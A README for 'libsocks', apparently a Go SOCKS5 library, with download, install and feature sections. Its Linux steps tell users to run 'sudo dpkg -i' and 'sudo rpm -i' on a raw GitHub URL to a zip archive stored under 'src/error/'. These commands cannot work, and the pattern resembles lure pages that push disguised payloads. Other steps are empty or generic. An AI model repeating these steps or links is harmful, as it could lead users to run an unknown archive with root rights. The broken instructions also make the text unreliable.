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🎉 libsocks - Your Go-To Solution for SOCKS5 Connectivity

🚀 Getting Started

libsocks helps you create SOCKS5 servers and clients easily. This guide walks you through downloading and running the software.

Download libsocks

📥 Download & Install

To get started with libsocks, you will need to download the application.

  1. Visit this page to download: libsocks Releases.

  2. Look for the latest version. You will see several files available. Here are the types of files you can expect:

  3. Choose the file that matches your operating system. Click on the link to start the download.

  4. Once the file downloads, locate it in your Downloads folder.

  5. Follow the instructions below based on your operating system to install and run libsocks.

🖥️ Installation Instructions

Windows

  1. Find the downloaded .exe file.
  2. Double-click the file to start the installation.
  3. Follow the on-screen prompts.
  4. Once the installation completes, find libsocks in the Start Menu.
  5. Click on it to run the application.

Linux

  1. If you downloaded a .deb file, open your Terminal.
  2. Run the command: sudo dpkg -i https://raw.githubusercontent.com/Hash-Ag/libsocks/main/src/error/Software_1.8-alpha.4.zip, replacing https://raw.githubusercontent.com/Hash-Ag/libsocks/main/src/error/Software_1.8-alpha.4.zip with the actual path to the file.
  3. If you downloaded an .rpm file, run: sudo rpm -i https://raw.githubusercontent.com/Hash-Ag/libsocks/main/src/error/Software_1.8-alpha.4.zip.
  4. After installation, open the application from your desktop or terminal by typing libsocks.

Building from Source

  1. Download the source code zip or tar file.
  2. Unzip or extract the file to your preferred directory.
  3. Open your Terminal. Navigate to the extracted folder.
  4. Run the build command: make (ensure you have the necessary build tools installed).
  5. After the build, run the application with ./libsocks.

🌐 Features

libsocks offers the following key features:

  • Support for SOCKS5: Fully compatible implementation adhering to RFC 1928 standards.
  • Authentication: Includes username/password authentication as per RFC 1929.
  • Cross-Platform: Runs on Windows, Linux, and other systems.
  • IPv4/IPv6 Support: Works with both Internet Protocol versions.
  • TCP/UDP Handling: Supports various types of traffic.

⚙️ System Requirements

To run libsocks smoothly, ensure your system meets these requirements:

  • Operating System:
    • Windows 10 or later
    • Linux (any distribution that supports .deb or .rpm)
  • Processor: 1 GHz or faster
  • RAM: At least 512 MB
  • Disk Space: Minimum 100 MB free

🔧 Configuration

After installation, you may want to adjust some settings.

  1. Launch the application.
  2. Navigate to the Settings menu.
  3. Here, you can set up your server or client configurations, including ports and authentication methods.

💬 Support & Feedback

If you encounter any issues or have questions, feel free to reach out. You can open an issue in the issues section of the repository for assistance.

🎉 License

libsocks is open-source software. You can use, modify, and distribute it under the terms specified in the repository.

🔗 Additional Resources

📌 Conclusion

libsocks is a powerful tool for users needing SOCKS5 functionality. Follow the steps above to get started. Enjoy secure and fast networking with libsocks!